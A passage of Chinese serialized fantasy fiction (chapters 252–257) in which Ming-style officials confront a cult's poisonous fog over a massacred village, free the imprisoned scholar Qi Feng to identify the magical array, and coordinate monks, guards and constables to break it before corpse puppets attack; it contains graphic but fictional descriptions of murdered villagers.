前方的官道上,几名锦衣卫正骑马往回赶,玄色的飞鱼服在阳光下泛着冷光,看到赵明德一行,立刻翻身下马,膝盖重重磕在地上,躬身行礼。
“赵大人!”为首的锦衣卫声音带着几分急促,额角还沾着未干的冷汗,“萧大人已经带着人先到王家村了,让小的们回来报信,说王家村的情况……情况比李家村还惨,让您尽快过去,晚了怕是会出更大的事!”
赵明德心中一紧,手中的马鞭在掌心重重一握,催马上前:“具体怎么回事?村里的尸体都找到了吗?有没有发现幽冥教的踪迹?那雾又是怎么回事?”
“尸体……尸体都在村口挂着,样子太吓人了!”锦衣卫的声音带着明显的颤抖,说话时牙齿都在打颤。
“萧大人说,整个王家村都被一团灰黑色的雾裹着,雾里有毒,他派了三个弟兄试着进去,两个刚靠近就晕了,还有一个说看到了好多鬼影,现在还在胡言乱语!村里的雾像是活的一样,火攻、刀砍都没用,根本破不开!”
赵明德的眉头皱得更紧,指节因用力而泛白:“走,快赶过去!”
一行人的马蹄声在寂静的官道上格外刺耳,扬起的尘土混着枯叶,在身后拖出长长的尾巴。
约莫半个时辰后,前方隐约出现一片村落的轮廓,可让众人头皮发麻的是,整个王家村
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都被一团浓得化不开的灰黑色迷雾笼罩,雾气像是凝固的墨汁。
连村口那棵百年老槐树的轮廓都变得模糊不清,只能看到一团黑乎乎的影子在雾中若隐若现。
“那就是王家村?”一名年轻的捕快忍不住倒吸一口凉气,手中的长刀下意识地握紧,“这个时节怎么会有这么浓的雾?而且这雾的颜色……太不对劲了!”
赵明德勒住马,翻身下马时动作都有些不稳。
他刚往前走了三步,就闻到一股淡淡的腥气,混杂着腐烂的草木味和若有若无的血腥味,顺着风飘进鼻腔,让人胃里一阵翻腾。
他强压下恶心,从怀中掏出一块帕子捂住口鼻,继续往前。
“赵大人!”迷雾边缘传来一道冰冷的声音,正是萧无痕。
他身着红衣,站在几名锦衣卫中间,红色的衣摆被风吹得猎猎作响,手中的圆月弯刀泛着冷光,刀身上还沾着几滴未干的黑色液体,显然是刚才试探雾气时留下的。
他的身后还站着一群武僧,也是近段时间下山来帮忙的。
那些锦衣卫们脸色都不好看,有的捂着胸口,有的眼神涣散,显然是受到了不小的冲击。
赵明德快步走上前,目光扫过迷雾,又看向萧无痕身后。
名锦衣卫正扶着一个脸色青黑的同伴,那人嘴角挂着黑色的涎水,嘴里念念有词:“鬼……好多鬼……别抓我……”
“萧大人,里面到底是什么情况?这雾到底是什么东西?村里的百姓……”赵明德的话还没说完,一阵风突然吹过,带着一缕灰黑色的雾气扑面而来。
他下意识地侧身躲避,可还是有少量雾气沾到了手背,瞬间传来一阵灼烧般的刺痛,手背的皮肤以肉眼可见的速度泛起青黑色,像是被什么东西腐蚀了。
“快用清水洗!”萧无痕反应极快,立刻递过一个水囊,“这雾里有腐蚀性的毒素,沾到皮肤会顺着毛孔往里钻,必须尽快清洗!”
第两百五十二章 迷雾
赵明德连忙接过水囊,倒出清水反复冲洗手背,直到刺痛感消失,才松了口气。
他看着手背上残留的淡青色痕迹,心中的警铃愈发响亮:“这雾也太邪门了!幽冥教的人到底想干什么?”
萧无痕摇了摇头,脸色带着几分凝重:“我的人试过用火把驱散,可火把刚靠近雾气就会熄灭,连火星都留不下,用刀剑劈砍,雾气会立刻聚拢,连一道缝隙都劈不开。”
“刚才那个中了毒的弟兄,只是吸了几口雾,就开始胡言乱语,说看到了死去的亲人变成鬼影来抓他,这雾不仅有毒,还能干扰人的心智,应该是幽冥教特制的噬魂雾。”
他顿了顿,伸手指向迷雾深处,脸色带着几分狠戾:“你自己看,那不是雾挡住了视线,是村里挂着的东西。风一吹,你就能看清了。”
赵明德顺着他指的方向望去,眯起眼睛仔细辨认。
起初只能看到模糊的黑影在雾中晃动,可随着一阵风稍微吹散雾气,他的瞳孔瞬间收缩,浑身的血液仿佛都在这一刻凝固了!
那哪里是什么黑影,分明是一排排悬挂着的人!
村口的老槐树枝桠上,密密麻麻拴着粗麻绳,每根麻绳都从一个人的喉咙穿过后,将人悬挂在半空。
几十上百口人,上到白发苍苍的老者,下到襁褓中的婴儿,无一幸免。
老者的身体僵硬地垂着,花白的头发遮住了扭曲的脸,舌头因窒息而伸出,嘴角挂着暗红色的血迹。
中年男女的四肢以不自然的角度扭曲,像是被强行折断,手指蜷缩成爪状,指甲缝里还残留着泥土,显然死前经历过短暂的挣扎。
最让人揪心的是那些孩子,有的还穿着绣着虎头的小鞋,小小的身体悬在空中,襁褓中的婴儿甚至还保持着吮吸手指的姿势,却早已没了呼吸。
风一吹,尸体轻轻晃动,麻绳与树枝摩擦发出“咯吱咯吱”的声响,像是死神的催命符。
更诡异的是,有些尸体的皮肤呈现出青黑色,还在隐隐泛着黑气,显然是中了幽冥教的邪术,连死后都不得安宁。
“呕——”一名年轻的捕快再也忍不住,转身对着路边的草丛干呕起来,脸色惨白如纸,连手中的长刀都掉在了地上,双手撑着膝盖,身体不停发抖。
另一名捕快则双腿一软,直接瘫坐在地上,眼神涣散,嘴里喃喃自语:“太吓人了……这不是人干的事……是恶鬼……是幽冥教的恶鬼来了!”
武僧们虽常年习武,见惯了打斗,却也从未见过如此大规模的虐杀,不少人双手合十,口中默念“阿弥陀佛”,试图驱散心中的恐惧,可颤抖的声音却暴露了他们的不安。
连萧无痕带来的锦衣卫,也有几人别过脸,不敢再看。
他们虽执行过不少酷刑,却从未见过如此残忍的景象,尤其是那些孩子的尸体,让人心头发颤。
赵明德强压下心中的震撼与恶心,深吸一口气,走到萧无痕身边,声音沙哑:“萧大人,这些百姓……都是被活活吊死的?幽冥教的人为什么要这么做?还有这雾,除了有毒和干扰心智,还有没有别的作用?”
萧无痕的目光落在悬挂的尸体上,眼中闪过一丝杀意:“不是简单的吊死。我的人观察过,他们的脖子虽然被麻绳穿过,可身上没有明显的挣扎痕迹,反而像是被抽走了所有力气,连反抗的机会都没有。”
“这手法,跟李家村的尸傀儡很像,但又多了几分残忍,幽冥教的人,恐怕是在用这些百姓的精血炼制血魂珠,用来增强邪功威力。”
他顿了顿,又道:“至于这雾,我怀疑它还是一个阵法。我的人观察过雾气流动的轨迹,发现它会沿着特定的路线循环,像是一个巨大的迷宫。”
“强行进去的话,很可能会被困在里面,不仅会**,还会被雾里的幻象迷惑,最后成为幽冥教的猎物。刚才那三个进去的弟兄,只有一个活着出来,还是因为他跑得快,否则也得死在里面。”
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>赵明德的脸色愈发沉重:“你的意思是,幽冥教的人还在村里?他们在利用这些百姓的尸体炼制邪术,而这雾是用来阻挡我们进去的屏障?那我们现在该怎么办?总不能眼睁睁看着他们完成炼制吧?”
“我已经让人围着村子外围巡查过,没有发现任何人离开的痕迹。”萧无痕点头,手中的弯刀微微颤动,“他们应该还在村里的某个地方,或许是在村中央的祠堂,或许是在废弃的磨坊。”
“那些地方阴气重,适合炼制邪术。我们现在不敢贸然进去,怕中了他们的陷阱,可也不能一直守在这里,我怀疑他们是想炼成血魂珠,这珠子具体什么功效我也不清楚,只知道他们一旦成功,实力会大增,到时候再想对付他们,就难了。”
两人陷入沉默,周围只剩下风的呼啸声、尸体晃动的“咯吱”声,还有那名**锦衣卫的胡言乱语,气氛压抑得让人喘不过气。
武僧们继续默念佛经,捕快和锦衣卫则强撑着恐惧,握紧手中的兵刃,警惕地盯着迷雾,生怕里面突然冲出尸傀儡或幽冥教教徒。
过了许久,赵明德忽然眼睛一亮,像是抓住了最后一根救命稻草,他转身对着萧无痕道:“萧大人,咱们现在有个人选,或许能破解这雾阵!府城里,对阵法最了解的人,就是齐贤弟!”
“只要把他从牢里带过来,说不定能看出这噬魂雾的破绽,找到破解之法,甚至能揪出里面的幽冥教教徒!”
赵明德话音刚落,萧无痕的脸色瞬间冷了下来,握着圆月弯刀的手指猛地收紧。
刀身与刀鞘碰撞出细碎的“咔嗒”声,红衣在风中猎猎作响,带着一股生人勿近的寒意。
“赵大人,你是不是忘了齐枫的身份?他现在还是乾朝余孽的嫌疑犯,手上还戴着天牢的镣铐!把他从牢里带出来,若是他与幽冥教里应外合,借着破阵的名义引咱们进陷阱,咱们所有人都得死在这里,连带着周边村落的百姓都要遭殃!”
第两百五十三章 带齐枫!
“萧大人!”赵明德急得上前一步,藏青色官服的衣摆扫过地面,带起几片枯叶,“都到这个时候了,你怎么还在纠结这些!”
“齐贤弟要是真与幽冥教勾结,他们何必费尽心机派刺客去天牢杀他?又何必在他被关押时搞出屠村的事?这分明是幽冥教故意设计的圈套!”
他伸手指向王家村方向:“他们就是算准了你对不齐贤弟的猜忌,算准了你不会放他出来,算准了咱们没人能破解这雾阵,才敢这么嚣张!”
“你要是再犹豫,等雾里的毒物扩散到府城,或者他们炼成血魂珠冲出来,到时候死的就不是一个王家村的百姓,而是整个府城的人!你我身为朝廷命官,难道要眼睁睁看着这一切发生吗?”
萧无痕冷笑一声,眼神里满是不屑,手中的弯刀在阳光下泛着冷光。
“赵大人,咱们身边难道就没人可用了吗?府城有百名武僧,两百捕快,还有两千兵甲,更有我的五十名锦衣卫,难道连一个小小的雾阵都破不开,非要依靠一个文弱书生?传出去,岂不让江湖门派和京城的同僚笑话咱们府城无人!”
“笑话?”赵明德气得胸膛剧烈起伏,藏青色官服的领口都被扯得有些歪斜。
“现在都什么时候了,你还在乎这些虚名!齐贤弟懂阵法、能驱邪,这是所有人都看在眼里的事实!”
“卢大人中的噬魂毒都是他解的!除了他,还有谁能对付这诡异的雾阵?你要是有更好的人选,我现在就派人去请!”
萧无痕被噎得说不出话,脸色一阵青一阵白。他何尝不知道府城无人能替代齐枫,可心中的猜忌如同藤蔓般缠绕着他。
齐枫太完美了,完美得像个精心设计的陷阱,每一步都踩着“民心”与“功绩”,让他不得不怀疑。
赵明德见他沉默,语气稍微缓和了些,放缓语速继续劝道:“萧大人,你冷静想想。齐贤弟今年开春才来府城,在此之前一直在青田县读书备考,与乾朝余孽毫无交集。那些所谓的证据,全都是幽冥教伪造的!”
“他们就是想借你的手除掉齐贤弟这个心腹大患,消除阻碍他们血月祭的最大威胁!”
他顿了顿,脸色带着几分沉重:“你要是真被他们利用了,不仅会冤枉一个忠臣良才,还会让府城百姓陷入灭顶之灾。”
“到时候朝廷追责,你我都担不起这个责任,你是锦衣卫指挥使,我是府城知府,咱们的乌纱帽事小,百姓的性命事大啊!”
“担不起责任?”萧无痕猛地抬头,眼中闪过一丝狠戾,“本官办案,只看证据,不看人情!齐枫身上的嫌疑一日不洗清,我就一日不能放他出来!”
“万一他真有问题,你能承担府城百姓的安危吗?你能保证雾阵破解后,幽冥教不会顺着他留下的破绽攻出来吗?”
“我能!”赵明德毫不犹豫地回答,“我以府城知府的身份担保,若是齐贤弟真与幽冥教勾结,我愿意辞去官职,自请押送京城受罚!”
“可若是你因为一己之私的猜忌耽误了时机,让更多百姓丧命,这个责任,你承担得起吗?朝廷不会饶你,百姓更不会饶你!”
两人针锋相对,气息在空气中激烈碰撞,周围的捕快、武僧和锦衣卫都吓得低着头,没人敢出声劝阻。
风卷起地上的枯叶,落在两人脚边,又被风吹走。
武僧们手中的念珠转得飞快,口中默念的佛经声音都不自觉地变大。
就在这时,一名锦衣卫突然从迷雾边缘跌跌撞撞地跑过来,玄色飞鱼服的下摆沾着不少灰黑色的雾气,脸色惨白得像纸。
“大人!不好了!那雾……那雾在扩散!范围比刚才大了一圈,已经快到官道上了!路边的野草沾到雾,瞬间就枯了,还泛着黑!”
众人闻言,纷纷朝着迷雾望去。
果然,原本只笼罩王家村的灰黑色雾气,此刻正以肉眼可见的速度向外蔓延,
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边缘的雾气如同活物般蠕动着,朝着官道的方向推进。
所过之处,青翠的野草瞬间失去生机,变成诡异的青黑色,甚至连地面都隐隐泛起一层灰黑色的痕迹,显然是被雾中的毒素侵蚀了。
“该死!”赵明德低骂一声,心中的焦虑更甚,他快步走到迷雾边缘,蹲下身查看地上枯萎的野草,指尖刚碰到草叶,就传来一阵轻微的刺痛,连忙缩回手。
指尖已泛起淡淡的青色,显然毒素能通过接触传播。
“萧大人,你看到了!”赵明德站起身,对着萧无痕厉声喊道,“这雾不仅有毒,还在主动扩散!再等半个时辰,它就能蔓延到隔壁的李家村,不出三个时辰,就能到府城门口!”
“到时候府城几十万百姓都会**,你我就是千古罪人!快下令,让锦衣卫去天牢把齐贤弟带来!”
萧无痕的目光紧紧盯着扩散的雾气,眉头皱得能夹死苍蝇,手指无意识地摩挲着弯刀的刀柄。
他知道赵明德说得对,再犹豫下去只会酿成更大的灾祸,可心中对齐枫的猜忌却始终无法彻底消除。
“萧大人!”赵明德见他依旧沉默,语气彻底冷了下来,眼神里满是失望,“我最后跟你说一次,立刻派人去天牢带齐贤弟过来!若是因为你的犹豫,导致府城出了任何差池,我不仅会立刻写奏折向京城**你。”
“还会让整个府城的百姓都知道,是你为了自己的猜忌和功绩,害**这么多无辜之人!到时候,就算你是锦衣卫指挥使,有皇后娘娘撑腰,也绝对脱不了干系!朝廷会治你的罪,百姓会唾骂你,你这辈子都别想抬头!”
这话如同惊雷,在萧无痕耳边炸响。他猛地抬头,看向赵明德眼中的决绝,又看了看扩散的雾气、悬挂的尸体,还有身边脸色惨白的手下,心中的挣扎终于有了结果。
他深吸一口气,压下心中最后一丝猜忌,对着身边的锦衣卫校尉厉声下令。
第两百五十四章 救星
萧无痕下令:“立刻带五个人,快马去天牢!把齐枫带过来!告诉看守的人,若是他敢反抗,就用玄铁锁链锁着他来!”
“另外,让剩下的人分成三队,一队继续盯着雾气动向,一队在官道上设置防线,阻止雾气扩散,一队去通知周边村落的百姓,让他们暂时撤离!”
锦衣卫校尉不敢耽搁,立刻躬身应下,转身点了五名身手矫健的锦衣卫,翻身上马,朝着天牢的方向疾驰而去。
马蹄声在寂静的官道上格外刺耳,扬起的尘土混着枯叶,在身后拖出长长的尾巴,像是一道希望的轨迹。
赵明德看着锦衣卫远去的背影,紧绷的肩膀终于放松了几分,他对着萧无痕拱了拱手,语气带着几分疲惫却又透着希望。
“萧大人,你做出了正确的选择。等齐贤弟破解了雾阵,抓住了幽冥教的人,你就会知道,齐贤弟不仅是被冤枉的,还是咱们府城的福星。”
萧无痕没有说话,只是冷哼一声,转身走到迷雾边缘,手中的圆月弯刀握得更紧,眼神锐利地盯着雾气,显然是做好了随时战斗的准备。
他心中暗暗发誓,若是齐枫真敢耍任何花样,他定会第一时间动手,用这把圆月弯刀,斩下对方的头颅!
周围的捕快和武僧们也松了口气,脸上露出几分期待。
他们大多听说过齐枫的本事,知道他或许真能破解这诡异的雾阵,阻止这场灾难。
武僧们手中的念珠转得更快,口中的佛经声音也变得洪亮,也为即将到来的齐枫祈祷,希望他能早日破解危机,还府城一个安宁。
雾气还在缓慢扩散,路边的野草成片枯萎,空气中的腥气越来越浓,让人呼吸都变得困难。
赵明德站在萧无痕身边,目光时不时朝着天牢的方向望去,心中满是焦急。
齐贤弟,你一定要快点来,再晚一点,王家村的悲剧,就可能在府城重演了!
时间一点点过去,每一秒都像是一个世纪那么漫长。
就在雾气即将蔓延到官道中央,负责设置防线的锦衣卫已经开始用湿布遮挡口鼻时,远处终于传来了急促的马蹄声。
众人纷纷抬头望去,只见五道玄色身影簇拥着一道青色身影,正朝着王家村的方向疾驰而来?
青色身影端坐马背上,虽手腕上戴着玄铁锁链,却依旧身姿挺拔,正是被从牢里带出来的齐枫!
齐枫抵达王家村时,玄铁锁链在手腕上拖出细碎的“哗啦”声响,青衫下摆沾着些许尘土,却依旧难掩一身清隽气质。
他翻身下马的动作从容不迫,目光先是扫过悬挂在老槐树上的尸体。
那些僵硬扭曲的躯体在风中轻轻晃动,麻绳与树枝摩擦发出“咯吱”的哀鸣,随后又落在弥漫的灰雾上。
眼中没有丝毫慌乱,只有一丝不易察觉的冷意,仿佛眼前的惨状早已在他预料之中。
“齐贤弟!你可算来了!”赵明德快步迎上前,脚步都带着急切,目光却在触及齐枫手腕上那副厚重的玄铁锁链时骤然凝固,眉头瞬间皱紧。
他转身对着萧无痕沉声道,“萧大人,齐贤弟不过是个手无缚鸡之力的书生,就算懂些阵法,也没必要用这么重的镣铐!这锁链足有十斤重,别说是破阵,连抬手都费劲!你这样做,是怕他跑了,还是根本就不相信他能破阵?”
萧无痕握着圆月弯刀,没有半分松动:“赵大人,齐枫可不止是个书生,这样的人,用普通镣铐怎么够?若是他借着破阵的名义与幽冥教里应外合,或者趁机作乱,在场谁能拦得住?这玄铁锁链,既是约束,也是保险。”
“你……你简直不可理喻!”赵明德气得胸膛剧烈起伏,藏青色官服的领口都被扯得有些歪斜,却又找不到反驳的理由。
萧无痕的顾虑虽偏激,却也并非毫无道理。
他只能转向齐枫,带着明显的歉意,“齐贤弟,委屈你了。等咱们破了这
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雾阵,抓住幽冥教的人,我定让萧大人给你解开镣铐,亲自给你赔罪,还你一个清白!”
齐枫却轻轻摇了摇头,手腕微微晃动:“赵大人不必介怀。眼下王家村百姓的性命还悬着,这副镣铐算什么委屈?萧大人也是为了稳妥,怕我出意外,我能理解。”
这话既给了萧无痕台阶,又暗指他小题大做、过度防备,赵明德忍不住在心中赞叹。
齐贤弟不仅有才华,还如此识大体、顾大局,萧无痕要是能多几分信任,也不会耽误这么多时间,让雾阵扩散到官道边缘。
萧无痕听到“理解”二字,脸色却更冷了几分,握着弯刀的手指因用力而泛白。
“别浪费时间说这些没用的。既然人来了,就赶紧看看这雾阵怎么破。要是破不了,就算你再懂阵法,也得跟我们一起守在这里,别想着耍什么花样。”
赵明德连忙打圆场,拉着齐枫走到迷雾边缘,指着眼前的景象,急切地详细说明。
“齐贤弟,你快仔细看看。这雾是幽冥教特制的噬魂雾,不仅有毒,还能干扰人的心智,之前有个锦衣卫不小心吸了几口,当场就开始胡言乱语,说看到了好多鬼影。”
“我们试过用火把驱散,可火把刚靠近雾气就会熄灭;用刀剑劈砍,雾气也会立刻聚拢,根本破不开。更棘手的是,这雾还在不断扩散,现在已经快蔓延到官道了,再等下去,隔壁的李家村、张家村都会遭殃!”
他顿了顿,声音压低了几分,带着几分沉重:“村里挂着的百姓……都是被幽冥教用邪术害死的,脖子被麻绳穿过,却没有任何挣扎痕迹,跟李家村的尸傀儡手法很像,但更残忍。”
“我们怀疑,幽冥教的人还躲在雾里,用这些百姓的精血炼制什么邪物,说不定就是为血月祭做准备。你快看看,这雾阵到底有什么破绽,咱们该怎么破?”
齐枫俯身,指尖轻轻触碰地面被雾气侵蚀的枯草。
第两百五十五章 等风来
草叶早已失去生机,呈现出诡异的青黑色,指尖刚一碰触,就传来一阵细微的刺痛,像是有无数根细针在扎。
他却像是毫无察觉,指尖在枯草上轻轻摩挲片刻,又起身走到雾边缘,伸出手,让一缕淡淡的灰雾飘到掌心,闭目感受了片刻,才缓缓睁开眼,语气笃定地开口。
“这不是普通的雾,是幽冥教的‘三阴噬魂阵’。”
“三阴噬魂阵?”赵明德和萧无痕同时追问,眼中满是疑惑。
齐枫点头,耐心解释:“没错。这阵法以十二具孩童尸体为阵眼,用百姓的精血混合三阴草、腐骨花、剧毒蜈蚣等毒物炼制雾气,再借助王家村的阴气,布下这个迷阵。”
“雾气会沿着十二具阵眼的位置循环流动,形成一个巨大的迷宫,不仅能阻挡外人进入,还能缓慢吸收活人的阳气,滋养阵眼,你们看,雾里的毒素越来越浓,就是因为阳气被不断吸收,毒物在持续滋生。”
他伸手指向迷雾深处隐约可见的祠堂轮廓:“阵眼应该藏在村中央的祠堂里。那里是全村阴气最重的地方,适合存放孩童尸体,也方便幽冥教的人操控阵法。只要找到并毁掉十二具孩童尸体,阵眼一破,雾气就会失去支撑,慢慢消散。”
赵明德听得连连点头,眼中满是敬佩:“齐贤弟果然厉害!这么快就看出了门道!可你是怎么知道这些的?难道也是当年那位云游老道教你的?”
齐枫点头,脸上自然而然的带着几分回忆:“没错。小时候我体弱多病,家父请了一位云游老道来给我调理身体。那老道不仅懂医术,还精通奇门遁甲和阵法。他曾跟我说过,三阴噬魂阵是幽冥教的邪阵,以精血为引、孩童为祭,极其阴毒,当年在江湖上害了不少人,后来被正道门派联手禁止。当时我只当是传说,没想到今日真能见到,还能派上用场。”
这个解释既合理又不暴露真实修为,完美掩盖了他前世的记忆,萧无痕虽仍有疑虑,却也找不出破绽,只能冷着脸道:“知道是什么阵没用,关键是怎么破。你有具体的办法吗?别只是纸上谈兵。”
齐枫没有在意他的嘲讽,抬头望向天空,云层厚重,秋风带着几分凉意掠过脸颊。
他沉吟片刻,继续道:“破阵需要三步。第一步,定位阵眼。祠堂方向阴气最浓,十二具孩童尸体应该被藏在祠堂的供桌下或者地窖里,需要派身手好的人潜入,找到并毁掉!”
“第二步,借风力。这雾阵靠阴气维持,而今日的风向会在半炷香后转为西北强风,也就是‘转山风’,这风足够强劲,能吹散部分雾气,露出祠堂的入口,也能暂时压制雾里的毒素!”
“第三步,布佛光阵。武僧们的佛光能克制阴气,只要在雾阵的东、南、西、北四个方向布下佛光阵,就能阻止雾气扩散,还能保护潜入的人不被邪术干扰。”
他转向赵明德与萧无痕,脸上带着几分严肃:“现在时间紧迫,咱们得尽快部署。武僧们精通佛法,可去东方布佛光阵,东方属木,与佛光相生,能最大化佛光的威力,锦衣卫身手矫健,可去西方潜伏,那里是雾气最薄的方向,等转山风吹起,立刻潜入祠堂毁掉阵眼!”
“捕快们则去北方的官道上设置防线,防止幽冥教的人从雾里冲出来偷袭百姓,至于南方……这里是雾气的薄弱点,我留在这里,观察雾气动向,等风起时发出信号。”
赵明德眼睛一亮,立刻附和:“好!就按齐贤弟说的办!我现在就去安排人手,保证半个时辰内布置好!”
萧无痕却皱紧眉头,质疑道:“转山风?你怎么确定半炷香后会有转山风?要是等不到风,你的部署岂不是全白费了?到时候,你打算怎么跟在场的所有人解释?”
齐枫指着天空的云层:“萧大人看,云层正在
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快速向东南方向移动,边缘已经开始变得稀薄,这是转山风来临的征兆。而且地面的草叶都朝着东南方向倾斜,气流正在加速!”
“这些都是老道教我的观天术,从未出错。咱们现在要做的,就是在风起前做好准备,否则错过时机,又要等一个时辰,到时候雾气早就扩散到周边村落了。”
萧无痕抬头望去,果然见云层在快速流动,草叶也朝着东南方向倾斜,却依旧冷笑道:“就算真有风,也未必能吹散这邪雾。你最好别拿百姓的性命赌,要是出了差错,这个责任,你承担得起吗?”
“我承担得起。”齐枫一脸坚定,“若是风不来,或者雾吹不散,我愿意跟你回天牢,接受任何惩罚。但若是你因为猜忌耽误了部署,让更多百姓丧命,这个责任,你承担得起吗?”
萧无痕被噎得说不出话,只能冷哼一声,不再反驳。
赵明德不敢耽搁,立刻召集武僧、锦衣卫与捕快,按照齐枫的部署分配任务。
武僧们双手合十,提着木鱼与佛经,快步走向东方,找了一处地势较高的土坡,开始盘膝打坐,口中念起《金刚经》,金色的佛光渐渐从他们身上散发出来,在东方形成一道淡淡的光罩。
锦衣卫们换上轻便的夜行衣,腰间别着短刀与解毒丸,脸上蒙着湿布,朝着西方的雾边缘潜伏,只露出一双双警惕的眼睛。
捕快们则拿起盾牌与长刀,在北方的官道上搭建临时防线,盾牌上还裹着沾了清水的布,用来抵挡雾气中的毒素。
整个王家村外瞬间忙碌起来,脚步声、诵经声、兵器碰撞声交织在一起,与雾气流动的“沙沙”声形成诡异的对比。
齐枫站在南方的雾边缘,手腕上的玄铁锁链垂在身侧,目光紧紧盯着雾气的动向,时不时抬头望向天空,计算着风起的时间,手指无意识地在玄铁锁链上轻轻敲击,像是在倒数。
第两百五十六章 行动!
萧无痕站在他身旁,眼神锐利如刀,既在观察雾气的变化,也在警惕齐枫的一举一动。
他始终觉得,齐枫的镇定太过反常,仿佛早就知道接下来会发生什么,这种掌控感,让他愈发不安,总觉得有什么事情超出了自己的预料。
时间一点点过去,半炷香的时间渐渐临近,天空的云层越来越稀薄,可风却依旧没有动静,雾气甚至还在缓慢地朝着南方蔓延,眼看就要触碰到齐枫的衣角。
“半炷香快到了,风呢?”萧无痕的声音带着明显的嘲讽,“齐公子,你的转山风怎么还没来?该不会是你看错了,或者那老道教你的是假的观天术吧?要是再没风,你的部署就全白费了,咱们所有人都得陪着你在这里耗着,等着雾气扩散到府城!”
赵明德立刻上前维护:“萧大人别急!齐贤弟懂天象,他说有风,就一定有风!再等等,说不定马上就来了!你没看到云层越来越薄了吗?这就是风要来的征兆!”
“等?”萧无痕冷笑一声,带着几分不屑,“等多久?等雾气把咱们都包围,还是等幽冥教的人炼成邪物出来,把咱们都变成尸傀儡?赵大人,你就是太信任他了!他不过是个书生,就算懂些阵法,难道还能操控风向不成?”
齐枫却没理会两人的争执,只是抬头望向天空,眼中闪过一丝了然。
他能清晰地感受到,空气中的气流正在加速,风向已经开始从东南转向西北,带着一股熟悉的凉意,地面的草叶也开始朝着西北方向倾斜,连雾气的流动都慢了几分。
就在萧无痕准备再次开口嘲讽时,齐枫突然抬手:“所有人准备!转山风要来了!西方的锦衣卫做好潜入准备,等雾气被吹散,立刻冲进去找祠堂,毁掉十二具孩童尸体!东方的武僧加大佛光输出,阻止雾气反扑!”
众人纷纷抬头望向天空,只见远处的树梢突然剧烈晃动,枯叶被卷得漫天飞舞。
一股强劲的风朝着王家村的方向疾驰而来,地面的尘土被卷起,形成一道肉眼可见的黄色气流,如同一条奔腾的小蛇,朝着迷雾冲去!
狂风骤起的瞬间,黄沙与枯叶被卷得漫天飞舞,呼啸的风声如同巨兽咆哮,狠狠撞向王家村的灰雾。
起初,雾气还在顽强抵抗,浓黑的雾团如同活物般蠕动,试图将狂风吞噬。
可转山风的力道远超预期,如同锋利的刀刃,硬生生将密不透风的灰雾撕开一道丈宽的裂缝,阳光透过裂缝洒入,在地面投下斑驳的光斑,驱散了几分诡异的阴冷。
“成了!真的成了!”赵明德激动得声音发颤,指着那道不断扩大的裂缝,眼中满是狂喜,“齐贤弟,你看!雾散了!你的观天术果然没错!”
齐枫却没有放松,目光锐利地紧盯着裂缝深处,玄铁锁链在手腕上轻轻晃动:“赵大人别掉以轻心!风只能吹散表层雾气,祠堂里的阵眼还没破,雾气随时可能重新聚拢。”
“锦衣卫按原计划行动,从裂缝潜入,务必找到十二具孩童尸体,毁掉阵眼!武僧继续加强佛光,压制残余雾气,别给幽冥教反扑的机会!”
西方潜伏的锦衣卫早已蓄势待发,闻言立刻如猎豹般冲出。
为首的校尉手持短刀,脸上蒙着浸过解**的湿布,脚步轻得如同猫科动物,沿着裂缝快速冲入雾中。
身后的锦衣卫紧随其后,动作整齐划一,腰间的长刀与怀中的解毒丸都已备好,每一步都踏得格外谨慎。
谁也不知道雾中是否藏着幽冥教的陷阱,或是潜伏的尸傀儡。
东方的武僧们也加大了诵经声,金色的佛光如同实质般从他们身上扩散开来,如同一张巨大的光罩,将试图重新聚拢的灰雾死死压制在村外。
佛光所过之处,空气中的腥气渐渐淡了几分,连地面枯萎发黑的野草,都仿佛恢复了些许生机,不再散发诡异的毒素。
捕快们则守在北方的临时防线,盾牌与长刀严阵以待。
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他们将盾牌紧密相连,形成一道钢铁屏障,刀光从盾牌缝隙中透出,目光警惕地扫视着四周,防止幽冥教的人从其他方向突围,伤害周边村落的百姓。
齐枫站在南方的雾边缘,青衫被狂风掀起,手腕上的玄铁锁链随着风势轻轻晃动,发出“哗啦”的细碎声响。
他的目光始终紧盯着村中央的祠堂方向。
那里的雾气依旧最浓,甚至隐隐泛着幽绿色的光芒,显然是阵眼的核心所在。
约莫一炷香的时间过去,雾中的锦衣卫突然传来一阵尖锐的哨声。
这是“找到阵眼”的信号!
紧接着,一道沙哑的呼喊穿透雾气传来:“大人!找到祠堂了!供桌下藏着十二具孩童尸体,都被黑布包裹着,还在往外渗黑血!”
“立刻毁掉!别让幽冥教的人反应过来!”齐枫厉声下令,声音透过狂风,清晰地传入雾中。
话音刚落,雾中突然传来一阵剧烈的打斗声,夹杂着幽冥教教徒的惨叫与邪术的嘶吼。
显然,锦衣卫在毁掉阵眼时,遭遇了埋伏!
赵明德刚想下令让捕快支援,就见几道黑影从雾中狼狈冲出,正是执行任务的锦衣卫。
他们身上或多或少带着伤口,有的手臂被毒素侵蚀,呈现出诡异的青黑色,却依旧紧紧握着染血的短刀,刀刃上还挂着黑色的布条。
显然是从孩童尸体的包裹上割下来的。
“大人!阵眼毁了!”为首的锦衣卫校尉单膝跪地,胸口剧烈起伏,声音带着明显的疲惫与后怕。
“祠堂里藏了五个幽冥教教徒,都被我们杀了!可他们在临死前启动了备用邪术,用自己的精血催动了尸变,祠堂里的百姓尸体,好像要活过来了!”
“尸变?”齐枫心中一紧,立刻对着雾中大喊,“所有人立刻退出来!别被尸变的尸体缠住!那些是幽冥教的尸傀儡,被黑符操控,刀枪难入,只有毁掉脖颈处的黑符才能破解!”
第两百五十七章 强敌
他的话音未落,祠堂方向突然传来一阵令人头皮发麻的“咯吱咯吱”声,如同生锈的齿轮在转动,又像是骨骼被强行扭曲。
紧接着,十几道青黑色的身影从雾中踉跄冲出!
有的是白发苍苍的老者,有的是怀抱婴儿的妇人,还有的是刚**死的幽冥教教徒,此刻他们双眼泛白,没有丝毫神采,嘴角流着暗红色的黑血,四肢以不自然的角度扭曲,却异常迅猛地朝着众人扑来。
“武僧结阵!用佛光压制!”赵明德厉声下令,手中的镔铁短刀也拔了出来,做好了战斗准备。
武僧们立刻手持长棍,快速组成紧密的棍阵。
金色的佛光附着在棍身上,如同镀了一层金粉,朝着扑来的尸傀儡狠狠打去。
佛光刚触碰到尸傀儡的瞬间,就发出“滋滋”的灼烧声,青黑色的雾气从尸傀儡身上冒出,它们的动作也明显迟缓了几分,眼中的白芒黯淡了些许。
可尸傀儡的数量远超预期,且不知疼痛、不畏生死。
即使被长棍打断手臂,依旧能凭着本能扑咬,就算被佛光灼烧得皮肤冒烟,也会顶着疼痛继续冲锋。
